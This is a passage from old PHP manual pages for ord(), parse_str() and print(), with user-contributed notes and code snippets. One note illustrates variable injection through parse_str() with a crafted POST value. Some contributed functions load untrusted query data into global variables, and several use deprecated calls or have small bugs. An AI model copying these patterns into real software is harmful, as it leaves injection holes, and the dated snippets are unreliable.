                 ($asciivalue == 13)) // cr
        {
            // it's already safe ASCII
            $result .= $char;
        }
        else if ($asciivalue == 145) // opening single quote
        {
            $result .= '\\'';
        }
        else if ($asciivalue == 146) // closing single quote
        {
            $result .= '\\'';
        }
        else if ($asciivalue == 147) // opening double quote
        {
            $result .= '"';
        }
        else if ($asciivalue == 148) // closing double quote
        {
            $result .= '"';
        }
        else if ($asciivalue == 133) // ellipsis
        {
            $result .= '...';
        }
    }

    return $result;
}
?>
28-Feb-2005 06:12
Function using ord() to strip out garbage characters and punctuation from a string. This is handy when trying to be smart about what an input is "trying" to be..
<?php

function cleanstr($string){
    $len = strlen($string);
    for($a=0; $a<$len; $a++){
        $p = ord($string[$a]);
        # chr(32) is space, it is preserved..
        (($p > 64 && $p < 123) || $p == 32) ? $ret .= $string[$a] : $ret .= "";
    }
    return $ret;
}

?>
jacobfri at skydebanen dot net 04-Jun-2004 05:10
Just to get things straight about which character table ord() and chr() uses.
The range 128-255 is _not_ equivalent with the widely used extended ASCII-table, like the one described in www.asciitable.com. The actual equivalent is the 128-255 range of Unicode.
That's a good thing, because then ord() and chr() is compatible with javascript, and any other language that uses Unicode.
But it's rather nice to know it, and the description of ord() is kind of misleading, when it only refers to www.asciitable.com.
v0rbiz at yahoo dot com 28-May-2004 04:15
I did not found a unicode/multibyte capable 'ord' function, so...

<?php
function uniord($u) {
    $k = mb_convert_encoding($u, 'UCS-2LE', 'UTF-8');
    $k1 = ord(substr($k, 0, 1));
    $k2 = ord(substr($k, 1, 1));
    return $k2 * 256 + $k1;
}
?>
arjini at mac dot com 18-Mar-2004 11:49
If you're looking to provide bare bones protection to email addresses posted to the web try this:

<?php
$string = 'arjini@mac.com';
for($i=0;$i<strlen($string);++$i){
    $n = rand(0,1);
    if($n)
        $finished.='&#x'.sprintf("%X",ord($string{$i})).';';
    else
        $finished.='&#'.ord($string{$i}).';';
}
echo $finished;
?>

This randomly encodes a mix of hex and oridinary HTML entities for every character in the address. Note that a decoding mechanism for this could probably be written just as easily, so eventually the bots will be able to cut through this like butter, but for now, it seems like most harvesters are only looking for non-hex html entities.
number_format
parse_str
String Functions


Parses the string into variables

ord
print
String Functions
PHP Manual

parse_str

(PHP 4, PHP 5)

parse_str — Parses the string into variables

Description

void parse_str ( string $str [, array &$arr ] )

Parses str as if it were the query string passed via a URL and sets variables in the current scope.

Note:

To get the current QUERY_STRING, you may use the variable $_SERVER['QUERY_STRING']. Also, you may want to read the section on variables from external sources.

Note:

The magic_quotes_gpc setting affects the output of this function, as parse_str() uses the same mechanism that PHP uses to populate the $_GET, $_POST, etc. variables.

Parameters

str

The input string.

arr

If the second parameter arr is present, variables are stored in this variable as array elements instead.

Return Values

No value is returned.

Changelog

Version | Description
4.0.3 | The arr parameter was added

Examples

Example #1 Using parse_str()

<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";
parse_str($str);
echo $first;  // value
echo $arr[0]; // foo bar
echo $arr[1]; // baz

parse_str($str, $output);
echo $output['first'];  // value
echo $output['arr'][0]; // foo bar
echo $output['arr'][1]; // baz

?>

See Also

  • parse_url() - Parse a URL and return its components
  • pathinfo() - Returns information about a file path
  • http_build_query() - Generate URL-encoded query string
  • get_magic_quotes_gpc() - Gets the current configuration setting of magic_quotes_gpc
  • urldecode() - Decodes URL-encoded string

User Contributed Notes

eclipsehtd at hotmail dot com 02-Feb-2011 04:54
I wrote an array to string function that works recursively and works with an n-dimensional array turning it into a parsable string for parse_str.

<?php
function queryString($params, $name=null) {
$ret = "";
 foreach($params as $key=>$val) {
  if(is_array($val)) {
   if($name==null) $ret .= queryString($val, $key);
   else $ret .= queryString($val, $name."[$key]");
   } else {
   if($name!=null)
    $ret.=$name."[$key]"."=$val&";
   else $ret.= "$key=$val&";
  }
 }
 return $ret;
}
?>
Will Voelcker 12-Aug-2010 11:07
If you need a function that does something similar to parse_str, but doesn't convert spaces and dots to underscores, try something like the following:

<?php
function parseQueryString($str) {
    $op = array();
    $pairs = explode("&", $str);
    foreach ($pairs as $pair) {
        list($k, $v) = array_map("urldecode", explode("=", $pair));
        $op[$k] = $v;
    }
    return $op;
}
?>

It may need adapting to handle various edge cases.
sam dot fullman at verizon dot net 29-Jun-2010 01:28
If you're using .htaccess to spoof pages in any type of application, then $QUERY_STRING or $_SERVER['QUERY_STRING'] is going to be blank.  Instead, $_SERVER['REDIRECT_QUERY_STRING'] will hold the actual query string passed by user.  Use this function to parse this variable.
me at bubjavier dot com 04-Feb-2010 02:48
be careful using parse_str() without the [array &$arr] parameter, as this may override values of global and existing variables.

<?php
$var1 = 1;
parse_str('var1=one&var2=two');
// $var1 is now 'one'
?>

Also may lead to variable value injection when used with user input data:

<?php
$_POST['range'] = 'min=1&max=5&important_var=important_value_no_more';

$important_var = 'important_value';
parse_str($_POST['range']);
?>
julien at go-on-web dot com 22-Jun-2009 01:53
Hi,
I discovered that

<?php
$query = 'foo.bar=stuff';    // foo (dot) bar
parse_str( $query , $output);
print_r( $output );
?>

will output (underscore)

Array
(
    [foo_bar] => stuff
)

and not as expected (dot)

Array
(
    [foo.bar] => stuff
)

Query part of a requested URI is parsed the same. So never send parameters with a dot in their names

Hope it will save you time,
bye julien
zspencer at zacharyspencer dot com 13-Mar-2009 11:08
Also, an FYI but you cannot define arr when you call the function. I.E

<?php
$string="Tom=You&Zach=Me";
parse_str($string,$array);
print_r($array);
// Undefined variable $array on line 2!!!!
?>

However, if you define the array before hand, it works.

<?php
$string="Tom=You&Zach=Me";
$array=array();
parse_str($string,$array);
print_r($array);
/*
Array
(
  [Tom] => You
  [Zach] => Me
)
*/
?>
Mark Shust 23-Jul-2008 06:40
In addition to Maikel's posting, the following will iterate through previous arrays and automatically apply them to the current array.

The following code was implemented for YUI's Cookie/subCookie utility in which all form elements were stored as subcookies. This parses cookies and stores all cookie params (minus the parent value) into $_POST variables. if you would like to put elements into array's of the parent, just use the commented out line instead of the if statement.

<?php
// thise parses cookies and stores all fields as variables
foreach ($_COOKIE as $key => $value) {
    // parse_str overwrites previous array values so we must merge the previous ones with new array
    if (isset($_POST)) {
        $_POST_old = $_POST;
        parse_str($value, $_POST);
        $_POST = array_merge($_POST_old, $_POST);
    }
    // this puts all elements as children of parent array
    // comment out above if statement to use this instead
    //parse_str($key, $_POST[$value]);
}
echo "<pre>";
print_r($_POST);
echo "</pre>";
?>
tobsn at php dot net 01-Jul-2008 11:17
just a heads up with the example above:
?var[]=123 - the [] has to be urlencoded.
var names and var values - both have to be urlencoded!
helpmepro1 at gmail dot com 28-Apr-2008 09:09
<?
//by shimon doodkin

 $url_form=url_to_form($url);
 echo '<form action="'.$url_form['action'].'" method="get">';
 echo $url_form['hidden'];
 echo '<input name="otherfiled" type="text">';
 echo '<input type="submit">';
 echo '</form>';

 function url_to_form($url)
 {
  $url=split('\?',$url,2);
  $action=$url[0];
  $hidden="";
  if(isset($url[1]))
  {
   $pairs=split('&',$url[1]);
   foreach($pairs as $pair)
   {
    $pair=split('=',$pair,2);
    $name=$pair[0];
    if(isset($pair[1]))
     $value=$pair[1];
    else
     $value='';
    $name=$name;
    $value=htmlspecialchars($value);
    if($name!='')
     $hidden.='<hidden name="'.$name.'" value="'.$value.'">';
   }
  }
  return array('action'=>$action,'hidden'=>$hidden);
 }

?>
sean at getclicky dot com 21-Apr-2008 09:39
This function automatically urldecodes values (not mentioned in the docs).
Maikel 28-Mar-2008 08:44
Be careful when use the second parameter, this function cleans array var first. Look this:

<?php
$vars["foo"] = "foovalue";
$queryString = "bar=barvalue&stuff=stuffval";
parse_str($queryString, $vars);
echo "<pre>";
print_r($vars);
echo "</pre>";
?>

Result:

Array
(
    [bar] => barvalue
    [stuff] => stuffval
)

it is solved by:

<?php
$prevVars["foo"] = "foovalue";
$queryString = "bar=barvalue&stuff=stuffval";
$newVars = array();
parse_str($queryString, $newVars);

$vars = array_merge($prevVars, $newVars);
echo "<pre>";
print_r($vars);
echo "</pre>";
?>

Result:

Array
(
    [foo] => foovalue
    [bar] => barvalue
    [stuff] => stuffval
)
chris at mcfadyen dot ca 13-Nov-2007 04:02
I shouldn't've posted the original version, as it only worked with the most basic of query strings.

This function will parse an html-safe query-like url string for variables and php-like ordered and associative arrays.  It places them into the global scope as parse_str does and adds minimal slashes for database insertions without the triple-slash problems that magic quotes can produce (the reason I had to write it in the first place).  If you don't need the slashes, they're easy enough to remove.

<?php
function parse_query($str) {

    // Separate all name-value pairs
    $pairs = explode('&', $str);

    foreach($pairs as $pair) {

        // Pull out the names and the values
        list($name, $value) = explode('=', $pair, 2);

        // Decode the variable name and look for arrays
        list($name, $index) = split('[][]', urldecode($name));

        // Arrays
        if(isset($index)) {

            // Declare or add to the global array defined by $name
            global $$name;
            if(!isset($$name)) $$name = array();

            // Associative array
            if($index != "") {
                ${$name}[$index] = addslashes(urldecode($value));

            // Ordered array
            } else {
                array_push($$name, addslashes(urldecode($value)));
            }

        // Variables
        } else {

            // Declare or overwrite the global variable defined by $name
            global $$name;
            $$name = addslashes(urldecode($value));
        }
    }
}
?>
chris at mcfadyen dot ca 31-Oct-2007 08:48
If you wish a version of parse_str sans magic quotes, the following will do the trick:

<?php
function parse_query($str) {
    $pairs = explode('&', $str);

    foreach($pairs as $pair) {
        list($name, $value) = explode('=', $pair, 2);
        global $$name;
        $$name = $value;
    }
}
?>
miket3 at optonline dot net 30-Aug-2007 12:51
I saw some posts with people wondering
 why &'s are being
 sent to this function.  Well, basically
 because thats what comes
 from a QUERY_STRING. Anyway. The bug i found is
 that the first part of a query_string
 may not contain an &. Usually the
 first parameter comes directly after the ?.
So you
 might have to manually pre-pend an & to your
 query_string if one does not exist.

<?php
$base="www.yahoo.com/search.aspx?";
$parsedurl=parse_url($base."&".rawurldecode($_SERVER
['QUERY_STRING']), PHP_URL_QUERY);
parse_str($parsedurl,$myquery);
$qbn = "n=".urlencode($myquery['n']);
?>

oh my god! to get this to post is ridiculous.
kermodebear at kermodebear dot org 08-Aug-2007 11:09
An old post from several years ago mentions that variable names cannot have a dot. They also cannot have a space. Spaces are automatically replaced with an underscore.

The following:
parse_str("My Value=Something", $result);

Will result in:
$result['My_Value'] = 'Something'

Although I understand why it is done, I still feel that this is unintuitive behavior.
Evan K 30-Jul-2007 07:43
It bears mentioning that the parse_str builtin does NOT process a query string in the CGI standard way, when it comes to duplicate fields.  If multiple fields of the same name exist in a query string, every other web processing language would read them into an array, but PHP silently overwrites them:

<?php
# silently fails to handle multiple values
parse_str('foo=1&foo=2&foo=3');

# the above produces:
$foo = array('foo' => '3');
?>

Instead, PHP uses a non-standards compliant practice of including brackets in fieldnames to achieve the same effect.

<?php
# bizarre php-specific behavior
parse_str('foo[]=1&foo[]=2&foo[]=3');

# the above produces:
$foo = array('foo' => array('1', '2', '3') );
?>

This can be confusing for anyone who's used to the CGI standard, so keep it in mind.  As an alternative, I use a "proper" querystring parser function:

<?php
function proper_parse_str($str) {
  # result array
  $arr = array();

  # split on outer delimiter
  $pairs = explode('&', $str);

  # loop through each pair
  foreach ($pairs as $i) {
    # split into name and value
    list($name,$value) = explode('=', $i, 2);

    # if name already exists
    if( isset($arr[$name]) ) {
      # stick multiple values into an array
      if( is_array($arr[$name]) ) {
        $arr[$name][] = $value;
      }
      else {
        $arr[$name] = array($arr[$name], $value);
      }
    }
    # otherwise, simply stick it in a scalar
    else {
      $arr[$name] = $value;
    }
  }

  # return result array
  return $arr;
}

$query = proper_parse_str($_SERVER['QUERY_STRING']);
?>
Vladimir Kornea 17-Jul-2007 09:04
parse_str() is confused by ampersands (&) being encoded as HTML entities (&amp;). This is relevant if you're extracting your query string from an HTML page (scraping). The solution is to run the string through html_entity_decode() before running it through parse_str().

(Editors: my original comment was a caution whose solution is obvious, but it has resulted in three replies ("so what?" "as intended" and "this is how to fix it"). Please remove the previous four posts dealing with this (69529, 70234, 72745, 74818) and leave just the above summary. This issue is too trivial to warrant the number of comments it has received.)
Vladimir Kornea 17-Jul-2007 08:46
parse_str() contained a bug (#39763) in PHP 5.2.0 that caused it to apply magic quotes twice. This bug was marked as fixed in the release notes of PHP 5.2.1, but there were apparently some issues with getting the fix through CVS on time, as our install of PHP 5.2.1 was still affected by it.
mike dot coley at inbox dot com 02-Jun-2007 12:25
Here is a little function that does the opposite of the parse_str function. It will take an array and build a query string from it.

<?php

/* Converts an array of parameters into a query string to be appended to a URL.
 *
 * @return  string              : Query string to append to a URL.
 * @param   array    $array     : Array of parameters to append to the query string.
 * @param   string   $parent    : This should be left blank (it is used internally by the function).
 */
function append_params($array, $parent='')
{
    $params = array();
    foreach ($array as $k => $v)
    {
        if (is_array($v))
            $params[] = append_params($v, (empty($parent) ? urlencode($k) : $parent . '[' . urlencode($k) . ']'));
        else
            $params[] = (!empty($parent) ? $parent . '[' . urlencode($k) . ']' : urlencode($k)) . '=' . urlencode($v);
    }

    $sessid = session_id();
    if (!empty($parent) || empty($sessid))
        return implode('&', $params);

    // Append the session ID to the query string if we have to.
    $sessname = session_name();
    if (ini_get('session.use_cookies'))
    {
        if (!ini_get('session.use_only_cookies') && (!isset($_COOKIE[$sessname]) || ($_COOKIE[$sessname] != $sessid)))
            $params[] = $sessname . '=' . urlencode($sessid);
    }
    elseif (!ini_get('session.use_only_cookies'))
        $params[] = $sessname . '=' . urlencode($sessid);

    return implode('&', $params);
}

?>

Note that the function will also append the session ID to the query string if it needs to be.
Michal Zalewski 28-Apr-2007 11:27
Vladimir Kornea:
Try use html_entity_decode()

$str = 'first=value&amp;arr[]=foo+bar&amp;arr[]=baz';
parse_str(html_entity_decode($str), $output);
print_r($output);

Array
(
    [first] => value
    [arr] => Array
        (
            [0] => foo bar
            [1] => baz
        )

)
php at voodoolabs dot net 07-Mar-2007 12:32
This is probably a better solution than below. The first line makes sure the file doesn't exist then the second line directs all requests to a script. No need to output a 200 header with this method either.

RewriteEngine On

RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ index.php      [L]
lenix.de 10-Feb-2007 04:20
if you would like to get a nice url scheme with php/apache and and want to handle all requests in a central php script there's a simple solution/hack:

create a .htaccess in your "basedir" where you've got your main script (in this example index.php) containing some lines like:

"ErrorDocument 404 /index.php"

inside index.php you can now do

<?php
    $virtual_path = substr(
        $_SERVER['REQUEST_URI'],
        strlen( dirname( $_SERVER['PHP_SELF'] ) ) + 1
    );
    if( ($pos = strpos( $virtual_path, '?' )) !== false ) {
        parse_str( substr( $virtual_path, $pos + 1 ), $_GET );
        $_REQUEST = array_merge( $_REQUEST, $_GET );
        $virtual_path = substr( $virtual_path, 0, $pos );
    }

    // some code checking for a valid location, etc...
    header( 'HTTP/1.1 200 OK' );
    header( 'Content-Type: text/plain' );

    echo $virtual_path."\n\n";
    print_r( $_REQUEST );
?>

// guido 'lenix' boehm
jgbreezer at gmail dot com 31-Jan-2007 04:52
Vladimir Kornea wrote on 8 Sep 2006:
"This function is confused by ampersands (&) being encoded as HTML entities (&amp;)"

Well, it would be - it's not supposed to be passed html entities, that's a different encoding scheme. This function does correctly decode url encoded params for you though (with the rawurlencode rather than urlencode, ie '+' is translated to a space).
Olivier Mengué 07-Oct-2006 02:02
Vladimir: the function is OK in how it deals with &amp;.
&amp; must only be used when outputing URLs in HTML/XML data.
You should ask yourself why you have &amp; in your URL when you give it to parse_str.
Vladimir Kornea 08-Sep-2006 02:15
This function is confused by ampersands (&) being encoded as HTML entities (&amp;).

$str = "first=value&amp;arr[]=foo+bar&amp;arr[]=baz";
parse_str($str, $output);
print_r($output);

Array
(
    [first] => value
    [amp;arr] => Array
        (
            [0] => foo bar
            [1] => baz
        )
)
PEPE_RIVAS at repixel dot net 28-Aug-2006 06:21
CONVERT ANY FORMATTED STRING INTO VARIABLES

I developed a online payment solution for credit cards using a merchant, and this merchant returns me an answer of the state of the transaction like this:

estado=1,txnid=5555444-8454445-4455554,monto=100.00

to have all that data into variables could be fine for me! so i use str_replace(), the problem is this function recognizes each group of variables with the & character... and i have  comma separated values... so i replace comma with &

<?php
$string = "estado=1,txnid=5555444-8454445-4455554,monto=100.00";
$string = str_replace(",","&",$string);
parse_str($string);
echo $monto; // outputs 100.00
?>
motin at demomusic dot nu 14-Apr-2006 06:13
When you have scripts run through the command-line (like locally via cron), you might want to be able to use _GET and _POST vars. Put this in top of your scheduled task files:

<?
    parse_str ($_SERVER['argv'][1], $GLOBALS['_GET']);
    parse_str ($_SERVER['argv'][2], $GLOBALS['_POST']);
?>

And call your script by:

/usr/local/bin/php /path/to/script.php "id=45&action=delete" "formsubmitted=true"

Cheers!
avi at amarcus dot com 03-Sep-2005 06:32
If you are trying to preserve a complex array, the function serialize might be better than http_build_query or other methods of making a query string.
ET 01-Sep-2005 03:14
In reply to what kerosuppi posted:

[quote]This does not work as expected.[/quote]
No, it works exactly as expected.

The call <?php parse_str($this->query_string);?>  "sets variables in the current scope" (just like said in the manual).

You are using this call in the constructor. Once the constructor is finished, the scope of this function has ended so it's logical that you can't access the variables anymore.

Your workaround though is a good one.

Hope this helps,
ET
Tore Bj�lseth 29-Jun-2005 05:59
As of PHP 5, you can do the exact opposite with http_build_query(). Just remember to use the optional array output parameter.

This is a very useful combination if you want to re-use a search string url, but also slightly modify it:

Example:
<?
$url1 = "action=search&interest[]=sports&interest[]=music&sort=id";
$str = parse_str($url1, $output);

// Modifying criteria:
$output['sort'] = "interest";

$url2 = http_build_query($output);

echo "<br>url1: ".$url1;
echo "<br>url2: ".$url2;
?>

Results in:
url1: action=search&interest[]=sports&interest[]=music&sort=id
url2: action=search&interest[0]=sports&interest[1]=music&sort=interest

(Array indexes are automatically created.)
vargasangelo_1990 at hotmail dot com 19-Jun-2005 11:46
this can be another option for STR PARSING and use it as a $_GET variable.
<?php
$str= "op=downloads&id=1&details=1";
function parse_to_get($str=false){
    if($REQUEST_URI==$str): $ex = explode("/".$PHP_SELF."?", $str); $str = $ex[1]; endif;
    if($str):
        $a = explode("&", $str);
        foreach($a as $e){
            if($e):
                list($k,$v)=explode("=", $e);
                $_GET[$k]=$v;
            endif;
        }
    endif;
    extract($_GET);
}
parse_top_get("index.php?page=info&name=jonh&id=4245&app=server");

?>
:)

//Trukin
kerosuppi 29-May-2005 09:22
This does not work as expected.

<?php
class someclass
{
    var $query_string;
    function someclass($a_query_string)
    {
        $this->query_string = $a_query_string;
        parse_str($this->query_string);
    }
    function output()
    {
        echo $this->action;
    }
}

$a_class = new someclass("action=go");
$a_class->output();
?>

Use this instead.

<?php
class someclass
{
    var $arr;
    function someclass($a_query_string)
    {
        parse_str($a_query_string, $this->arr);
    }
    function output()
    {
        echo $this->arr['action'];
    }
}

$a_class = new someclass("action=go");
$a_class->output();
?>
mortoray at ecircle-ag dot com 25-May-2005 12:18
In Kent's solution you may wish to switch "urldecode" into "rawurldecode" if you'd like to get rid of the [annoying] plus '+' converted to space ' ' translation.
kent at nospam dot ioflux dot com 06-May-2005 08:13
You may want to parse the query string into an array.

<?php
/**
 * Similar to parse_str. Returns false if the query string or URL is empty. Because we're not parsing to
 * variables but to array key entries, this function will handle ?[]=1&[]=2 "correctly."
 *
 * @return array Similar to the $_GET formatting that PHP does automagically.
 * @param string $url A query string or URL
 * @param boolean $qmark Find and strip out everything before the question mark in the string
*/
function parse_query_string($url, $qmark=true)
{
    if ($qmark) {
        $pos = strpos($url, "?");
        if ($pos !== false) {
            $url = substr($url, $pos + 1);
        }
    }
    if (empty($url))
        return false;
    $tokens = explode("&", $url);
    $urlVars = array();
    foreach ($tokens as $token) {
        $value = string_pair($token, "=", "");
        if (preg_match('/^([^\[]*)(\[.*\])$/', $token, $matches)) {
            parse_query_string_array($urlVars, $matches[1], $matches[2], $value);
        } else {
            $urlVars[urldecode($token)] = urldecode($value);
        }
    }
    return $urlVars;
}

/**
 * Utility function for parse_query_string. Given a result array, a starting key, and a set of keys formatted like "[a][b][c]"
 * and the final value, updates the result array with the correct PHP array keys.
 *
 * @return void
 * @param array $result A result array to populate from the query string
 * @param string $k The starting key to populate in $result
 * @param string $arrayKeys The key list to parse in the form "[][a][what%20ever]"
 * @param string $value The value to place at the destination array key
*/
function parse_query_string_array(&$result, $k, $arrayKeys, $value)
{
    if (!preg_match_all('/\[([^\]]*)\]/', $arrayKeys, $matches))
        return $value;
    if (!isset($result[$k])) {
        $result[urldecode($k)] = array();
    }
    $temp =& $result[$k];
    $last = urldecode(array_pop($matches[1]));
    foreach ($matches[1] as $k) {
        $k = urldecode($k);
        if ($k === "") {
            $temp[] = array();
            $temp =& $temp[count($temp)-1];
        } else if (!isset($temp[$k])) {
            $temp[$k] = array();
            $temp =& $temp[$k];
        }
    }
    if ($last === "") {
        $temp[] = $value;
    } else {
        $temp[urldecode($last)] = $value;
    }
}

/**
* Breaks a string into a pair for a common parsing function.
*
* The string passed in is truncated to the left half of the string pair, if any, and the right half, if anything, is returned.
*
* An example of using this would be:
* <code>
* $path = "Account.Balance";
* $field = string_pair($path);
*
* $path is "Account"
* $field is "Balance"
*
* $path = "Account";
* $field = string_pair($path);
*
* $path is "Account"
* $field is false
* </code>
*
* @return string The "right" portion of the string is returned if the delimiter is found.
* @param string $a A string to break into a pair. The "left" portion of the string is returned here if the delimiter is found.
* @param string $delim The characters used to delimit a string pair
* @param mixed $default The value to return if the delimiter is not found in the string
* @desc
*/
function string_pair(&$a, $delim='.', $default=false)
{
    $n = strpos($a, $delim);
    if ($n === false)
        return $default;
    $result = substr($a, $n+strlen($delim));
    $a = substr($a, 0, $n);
    return $result;
}

?>
10-Mar-2005 04:26
yet another simpler way to do the reverse this function.
<?php
    /* BSD LINCENSE */
    function build_str($query_array) {
        $query_string = array();
        foreach ($query_array as $k => $v) {
            $query_string[] = $k.'='.$v;
        }
        return join('&', $query_string);
    }

    // example of use
    // set  a query string
    $test_query = "a=b&c=d";
    // parse a string
    parse_str($test_query, $query_array);
    //print it
    print_r($query_array);

    // test the build_str function
    if ( build_str($query_array) == $test_query ) {
        echo "It works";
    } else {
        echo "It doesn't work";
    }

?>
nospam at fiderallalla dot de 03-Feb-2005 02:29
Maybe you need an opposite which works with arrays:

<?php
function query_str ($params) {
    if ( !is_array($params) || count($params) == 0 ) return false;
    $fga = func_get_args();
    $akey = ( !isset($fga[1]) ) ? false : $fga[1];
    static $out = Array();

    foreach ( $params as $key=>$val ) {
        if ( is_array($val) ) {
            query_str($val,$key);
            continue;
        }

        $thekey = ( !$akey ) ? $key : $akey.'['.$key.']';
        $out[] = $thekey."=".$val;
    }

    return implode("&",$out);
}
?>
anatilmizun at gmail dot com 12-Oct-2004 04:10
I wrote a pair of functions using parse_str() that will write values in an array to a textfile and vice versa, read those values from the textfile back into the array. Quite useful if you need to store lots of data but don't have access to SQL.

Save the array by calling cfg_save($filename,$array) and load it back using $array=cfg_load($filename)

<?php
$newline="�";

function cfg_load($cfgfile){
    global $newline;
    $setting="";
    if(file_exists($cfgfile)){
        $setting=fopen($cfgfile, "r");
        $ookk="";
        while($ook=fgets($setting)){
            #strip comment
            $commt=strpos($ook,"##");
            if($commt!==false) $ook=substr($ook,0,$commt);
            #append
            if($ook!="") $ookk=$ookk."&".    str_replace($newline,"\n",str_replace("&","%26",trim($ook)));
        }
        fclose($setting);
        parse_str($ookk, $setting);
    }
    return $setting;
}

function cfg_save($cfgfile,$setting){
    global $intArray;
    $intArray="";
    for($i=0;$i<2000;$i++)
        $intArray[]=$i;
    if(is_array($setting)){
        $allkeys=array_keys($setting);
        foreach($allkeys as $aKey)
            cfg_recurse($setting[$aKey], $aKey, $outArray);
    }
    $cfgf=fopen($cfgfile,"w");
    foreach($outArray as $aLine)
        fputs($cfgf,stripslashes($aLine)."\r\n");
    fclose($cfgf);
}

function cfg_recurse($stuffIn, $keysofar, &$toAppend){
    global $intArray, $newline;
    if(is_array($stuffIn)){
        $allkeys=array_keys($stuffIn);
        if(array_slice($intArray,0,sizeof($allkeys))==$allkeys)
            $nokey=true;
        else
            $nokey=false;
        foreach($allkeys as $aKey){
            if(!$nokey) $toKey=$aKey;
            cfg_recurse($stuffIn[$aKey], $keysofar."[".$toKey."]", $toAppend);
        }
    }else
        $toAppend[]=$keysofar."=".str_replace("\n",$newline,$stuffIn);
}
?>

Note that these functions support nested arrays of unlimited levels ;)
Matt Curtis 08-Sep-2004 08:46
If the querystring contains duplicate keys in the key-value pairs, parse_str will only return the last instance of the value.  For example, in the following:

<?php
$mystr = "test1=blah&test2=bleh&test1=burp";
parse_str($mystr, $myarray);
echo $myarray['test1'];
?>
The value output will be 'burp'.

I wrote a function that takes a querystring and returns the the key-value pairs as a two-dimensional array so each duplicate key is available:

<?php
$str = "test1=blah&test2=bleh&test1=burp";
$valsarray = parse_str_ext($str);
echo $valsarray['test1'][0];
echo $valsarray['test1'][1];
echo $valsarray['test2'][0];

function parse_str_ext($toparse) {
    $returnarray = array();
    $keyvaluepairs = split("&", $toparse);
    foreach($keyvaluepairs as $pairval) {
        $splitpair = split("=", $pairval);
        if(!array_key_exists($splitpair[0], $returnarray)) $returnarray[$splitpair[0]] = array();

        $returnarray[$splitpair[0]][] = $splitpair[1];
    }
    return $returnarray;
}
?>

Output will be:
blah
burp
bleh
17-Jun-2004 05:23
Note that variables cannot contain a DOT (.) in PHP. So, DOT will be replaced by underscore.
e.g. variables like "variable.something" will be converted into "variable_something".
31-Mar-2004 10:58
The documentation does not appear to mention that parse_str also urldecodes each item in the resulting array.

There also appears to be a bug in earlier versions of PHP that causes these urldecoded strings to also be escaped.  (Certainly I was having problems with %22 being turned into /" on my server, but not on my development box, despite forcing magic quotes off).
dante at lorenso dot com 05-Jul-2003 10:11
You can perform the opposite of this function if you like with a function like I've built below:

    /**
     * Reverse of parse_str().  Converts array into
     * string with query format
     */
    function query_str ($params) {
        $str = '';
        foreach ($params as $key => $value) {
            $str .= (strlen($str) < 1) ? '' : '&';
            $str .= $key . '=' . rawurlencode($value);
        }
        return ($str);
    }

-- Dante
ord
print
String Functions


Output a string

parse_str
printf
String Functions
PHP Manual

print

(PHP 4, PHP 5)

print — Output a string

Description

int print ( string $arg )

Outputs arg.

print() is not actually a real function (it is a language construct) so you are not required to use parentheses with its argument list.

Parameters

arg

The input data.

Return Values

Returns 1, always.

Examples

Example #1 print() examples

<?php
print("Hello World");

print "print() also works without parentheses.";

print "This spans
multiple lines. The newlines will be
output as well";

print "This spans\nmultiple lines. The newlines will be\noutput as well.";

print "escaping characters is done \"Like this\".";

// You can use variables inside a print statement
$foo = "foobar";
$bar = "barbaz";

print "foo is $foo"; // foo is foobar

// You can also use arrays
$bar = array("value" => "foo");

print "this is {$bar['value']} !"; // this is foo !

// Using single quotes will print the variable name, not the value
print 'foo is $foo'; // foo is $foo

// If you are not using any other characters, you can just print variables
print $foo;          // foobar

print <<<END
This uses the "here document" syntax to output
multiple lines with $variable interpolation. Note
that the here document terminator must appear on a
line with just a semicolon no extra whitespace!
END;
?>

Notes

Note: Because this is a language construct and not a function, it cannot be called using variable functions

See Also

  • echo() - Output one or more strings
  • printf() - Output a formatted string
  • flush() - Flush the output buffer
  • Heredoc syntax

User Contributed Notes

aflavio at gmail dot com 12-Jan-2011 12:32
Check this statement:

echo 3 . print(2) . print(4) . 5 . 'c' . print(6) . print(7). 'b' .print(8) . 'a';

It's will always output starting from the right to the left.

Thus we have:

8a                              //1o print
7b18a                        //2o print
617b18a                    //3o print
8a7b16145c1             //4o print

8a7b16145c12131     //Final output

That's it.
sdaau 22-Dec-2009 02:28
Printing an empty string from PHP, as in

print "";

returns a single byte (content length=1) - the line-feed character '\n' (0a).

So if you truly want to return an empty string, you may want to use "flush()" instead - then headers without any Content-length will be returned.

Do note, however, that regardless of whether print or flush is used, accessing such a PHP output from AJAX (via .responseText) will always have a '\n' as a value for an "empty" string sent from PHP.
Chris Watson 01-Oct-2009 01:20
mvpetrovich of 2007 could just use single quotes as his string delimiters (see the example in the current documentation).
It's not ALWAYS appropriate, but generally it is best (the Zend Framework coding standards have a good take on this). It yields a number of interesting benefits:
1: Nobody will be tempted to write functions to replace backticks or other characters with double quotes. Such functions may cause a (negligible) loss of efficiency, and maybe other undesired effects.
2: You will be able to use double quotes without escaping. This is recommended (although not required) for HTML and XML attributes, as well as quoted text.
3: The script will hit the browser very slightly slightly faster since PHP doesn't have to scan through the string looking for variables, escaped characters, curly braces or other things.
4: Your code gets ten times easier to read. (as mvpetrovich pointed out)

If, in spite of these four excellent benefits, you really MUST still use double quotes to delimit boring old string constants (and seriously, why would you?), you could use the slightly less favourable single quotes as delimiters for most markup languages.
HTML served as HTML will even let you lay out unquoted attributes (yuck).

It should also be noted though that if you are just printing bare strings, you may as well shut off the php parser. The quickest way to send a string is to write it as plain text, OUTSIDE of the php tags. This will also make your code look excellent in a lot of syntax highlighters.

There are few disadvantages to doing this, if any. Output buffering still works. All your classes and objects and includes remain in place. Your script runs faster. World peace is obtained.
http://www.danielxmorris.com 28-Aug-2008 07:46
An update to the println function I wrote below, this is a more efficient, correct and returns a value (1, always; (print)).

<?php

    function println($string_message = '') {
        return isset($_SERVER['SERVER_PROTOCOL']) ? print "$string_message<br />" . PHP_EOL:
          print $string_message . PHP_EOL;
    }

?>
user at example dot net 25-Aug-2008 09:47
Be careful when using print. Since print is a language construct and not a function, the parentheses around the argument is not required.
In fact, using parentheses can cause confusion with the syntax of a function and SHOULD be omited.

Most would expect the following behavior:
<?php
    if (print("foo") && print("bar")) {
        // "foo" and "bar" have been printed
    }
?>

But since the parenthesis around the argument are not required, they are interpretet as part of the argument.
This means that the argument of the first print is

    ("foo") && print("bar")

and the argument of the second print is just

    ("bar")

For the expected behavior of the first example, you need to write:
<?php
    if ((print "foo") && (print "bar")) {
        // "foo" and "bar" have been printed
    }
?>
user at example dot net 25-Aug-2008 09:45
